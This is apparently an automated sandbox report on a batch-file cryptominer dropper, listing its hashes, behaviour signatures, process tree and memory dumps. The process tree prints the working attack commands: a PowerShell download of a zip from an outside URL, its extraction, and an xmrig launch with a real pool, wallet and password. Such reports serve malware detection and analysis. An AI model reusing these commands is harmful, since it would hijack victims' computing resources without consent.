Analysis

  • max time kernel
    1796s
  • max time network
    1784s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11/12/2023, 01:49

General

  • Target

    tesy - Copy (4).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3008
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:820
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2520

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    3f17e4e63b96fed2d8cf369877d5e1ab

    SHA1

    e40410e09e96e06f9b1248ce265fc1b1ce7f22eb

    SHA256

    c76721874f6b0f7d396046d4936b136952a8786856f7e0cd0137dda799fa4ef6

    SHA512

    3227d8a3356860848498522d5722e6bfca6c2de0c8cfbef2f5d1dda857bd12619372f515517034dd34e5dd39619297aa1f9df14f9d506c2341268b3a8e66a09c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25zlsx1k.jvh.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    1.1MB

    MD5

    4be5d4493f3464cbcd6e3bd3dcb67926

    SHA1

    1caafe125f4d12c900371594236a2dc487078d99

    SHA256

    974ef6bb36b3fc3fd139cb8a1c10a7927749cfdeb149dec9c6200b6e2532f7a6

    SHA512

    003ef07ef742073ffaf7a4c4590dadcf991ddfaf403efb7305b5567c685f55b4820fa9b785b258635168200169139858f8ff25f329b0ce14e4fef7121028af97

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    841KB

    MD5

    66f2e285feebc92b4d4c560a4f7a5bb2

    SHA1

    1cc529106cfc645f1b7fd674502365d73e2a5fa5

    SHA256

    c7cc45a0209749c2d2ab85ab7986a15111464034d583b45e72bbca5db81cb4a2

    SHA512

    fd02cd90b894a28ac844dac05a35fadaabfcf459e9f12b32290e1ab0d4e7e9f47bf4fecdd16018e63d96936e27feed58db82dc70762d0b2c62ffca0387cda854

  • memory/2520-131-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-160-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-171-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-170-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-169-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-168-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-167-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-166-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-165-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-164-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-103-0x000001D04B1D0000-0x000001D04B1F0000-memory.dmp

    Filesize

    128KB

  • memory/2520-104-0x000001D04B220000-0x000001D04B260000-memory.dmp

    Filesize

    256KB

  • memory/2520-105-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-106-0x000001D04CB20000-0x000001D04CB40000-memory.dmp

    Filesize

    128KB

  • memory/2520-107-0x000001D04CB40000-0x000001D04CB60000-memory.dmp

    Filesize

    128KB

  • memory/2520-108-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-109-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-110-0x000001D04CB20000-0x000001D04CB40000-memory.dmp

    Filesize

    128KB

  • memory/2520-111-0x000001D04CB40000-0x000001D04CB60000-memory.dmp

    Filesize

    128KB

  • memory/2520-112-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-113-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-114-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-115-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-116-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-117-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-118-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-119-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-120-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-121-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-122-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-123-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-124-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-125-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-126-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-127-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-128-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-129-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-130-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-163-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-132-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-162-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-135-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-133-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-136-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-137-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-138-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-139-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-140-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-141-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-142-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-143-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-144-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-145-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-146-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-147-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-148-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-149-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-150-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-151-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-152-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-153-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-154-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-155-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-156-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-157-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-158-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-159-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-134-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-161-0x00007FF672C60000-0x00007FF673763000-memory.dmp

    Filesize

    11.0MB

  • memory/3008-89-0x00000216B1850000-0x00000216B185A000-memory.dmp

    Filesize

    40KB

  • memory/3008-35-0x00007FF978700000-0x00007FF9790EC000-memory.dmp

    Filesize

    9.9MB

  • memory/3008-37-0x00000216B1900000-0x00000216B1910000-memory.dmp

    Filesize

    64KB

  • memory/3008-38-0x00000216B1900000-0x00000216B1910000-memory.dmp

    Filesize

    64KB

  • memory/3008-99-0x00007FF978700000-0x00007FF9790EC000-memory.dmp

    Filesize

    9.9MB

  • memory/3008-62-0x00000216B1900000-0x00000216B1910000-memory.dmp

    Filesize

    64KB

  • memory/3008-76-0x00000216B1B30000-0x00000216B1B42000-memory.dmp

    Filesize

    72KB

  • memory/3648-5-0x00007FF978700000-0x00007FF9790EC000-memory.dmp

    Filesize

    9.9MB

  • memory/3648-8-0x0000017445130000-0x0000017445140000-memory.dmp

    Filesize

    64KB

  • memory/3648-4-0x000001745D7F0000-0x000001745D812000-memory.dmp

    Filesize

    136KB

  • memory/3648-6-0x0000017445130000-0x0000017445140000-memory.dmp

    Filesize

    64KB

  • memory/3648-10-0x000001745D9A0000-0x000001745DA16000-memory.dmp

    Filesize

    472KB

  • memory/3648-25-0x0000017445130000-0x0000017445140000-memory.dmp

    Filesize

    64KB

  • memory/3648-30-0x00007FF978700000-0x00007FF9790EC000-memory.dmp

    Filesize

    9.9MB